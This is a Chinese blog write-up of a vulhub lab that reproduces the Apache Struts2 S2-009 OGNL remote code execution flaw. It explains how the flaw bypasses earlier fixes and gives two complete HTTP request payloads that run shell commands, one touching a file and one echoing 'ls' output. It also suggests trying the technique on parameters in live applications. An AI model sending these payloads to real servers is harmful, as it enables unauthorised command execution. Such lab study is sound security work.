S2-009 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.1.1
漏洞详情:http://struts.apache.org/docs/s2-009.html
测试环境搭建
docker-compose build
docker-compose up -d
原理
前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:
https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
参考Struts2漏洞分析之Ognl表达式特性引发的新思路,文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#
号,同样使用编码\u0023
或\43
进行绕过;于是Struts2对s2-005的修复方法是禁止\
等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数example
,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example
参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
的方法来执行它,从而绕过官方对#
、\
等特殊字符的防御。
Exploit构造
测试环境是一个struts2的“功能展示”网站Struts Showcase
,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。
先对S2-009.war
进行解压(我用binwalk,其实直接zip就可以),可见源码都在WEB-INF/src
目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。
找到一个WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java
:
public class Example5Action extends ActionSupport {
private static final long serialVersionUID = 2111967621952300611L;
private String name;
private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override
public String execute() throws Exception {
return SUCCESS;
}
}
代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性this.name
,正是符合我们的要求。然后去WEB-INF/src/java/struts-ajax.xml
看一下URL路由:
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>
name=example5
,所以访问http://your-ip:8080/ajax/example5.action
即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
由于该POC没有回显,所以调用的是touch /tmp/success
命令。
黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。
漏洞复现
访问ip+8080端口(ip为环境搭建系统的ip)
POC
GET /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] HTTP/1.1
Host: 192.168.10.128:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflat
Connection: close
Cookie: JSESSIONID=7B7A161034EF556C9D1BA4DC361FE37A
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283264.html